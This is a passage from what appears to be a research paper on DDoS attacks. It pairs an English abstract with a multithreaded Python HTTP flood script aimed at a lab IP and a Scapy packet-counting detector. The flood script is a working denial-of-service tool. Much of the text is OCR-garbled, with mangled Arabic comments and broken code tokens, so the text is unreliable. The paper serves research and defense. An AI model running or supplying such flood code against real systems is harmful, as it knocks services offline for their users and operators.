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Abstract:

This research paper aims to study DDoS (Distributed Denial of Service) attacks, which are among the
most critical security threats in the digital age. The causes of these attacks, their adverse impacts on online
services, and programmatic and technical methods for detecting and mitigating them are discussed. A
software model was developed to simulate a DDoS attack using tools such as Python and Scapy, alongside
proposing practical solutions to address these attacks. The performance of three machine learning
algorithms (Naive Bayes, ANN, and CNN) in detecting DDoS attacks was evaluated based on accuracy,
true positive rate (TPR), and false positive rate (FPR) criteria. Finally, recommendations are provided to
enhance cybersecurity and reduce the risks posed by such attacks.

Keywords: ANN, CNN, Cloudflar, DDoS , Scapy, Naive Bayes, Python.
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“python
import socket

import threading
Ol sie =i [P 5 Port <agl!
target_ip = "192.168.1.100" ())sic |P el
target_port = 80 # Port <!
pyee) el Adla
def attack():
while True:
try:
# adad) aa Jlail L)
s=socket.socket(socket. AF_INET,socket. SOCK_STREAM)
s.connect((target_ip, target_port))

443 HTTP <l Jle ) #
s.sendto(("GET/HTTP/1.1\r\n").encode(‘ascii'),
(target_ip, target_port))
s.sendto(("Host:"+target_ip + "\r\n\r\n").encode(‘ascii'), (target_ip, target_port))

Juasy) e #
s.close()

except Exception as e:
print(f"Error: {e}")

threads s ahaiul » pael) 3OUa) #
(el e Juadl 1000 <L) # :(1000)for i in range
thread = threading. Thread(target=attack)
thread.start()

258 7yl
adlal) ae Jlal oL 1,
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gl Port 5 1P ) sie aaasi oy -
Ay S HTTP il Ju ) 2.
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:Threading plasiul | 3
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Juatyl el 4
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**python
from scapy.all import sniff, IP

e 7 semall Clllal) 23e Agic #
request_threshold = 100

IP o) sie IS cldlall aae o 5331 a0l #
ip_request_count = {}

asagll e CRISIA #

defdetect_ddos(packet):
if IP in packet:
ip_src = packet[IP].src
if ip_src in ip_request_count:
ip_request_count[ip_src] +=1
else:
ip_request_count[ip_src] =1

e 7 sansall il lllall dae ) lai 13) #
if ip_request_count[ip_src] >request_threshold:
print(f"DDoS attack detected from {ip_src}")

D5l AS a Al e e #
4 60 sl 28 el # (60=sniff(prn=detect_ddos, timeout

258 7yl
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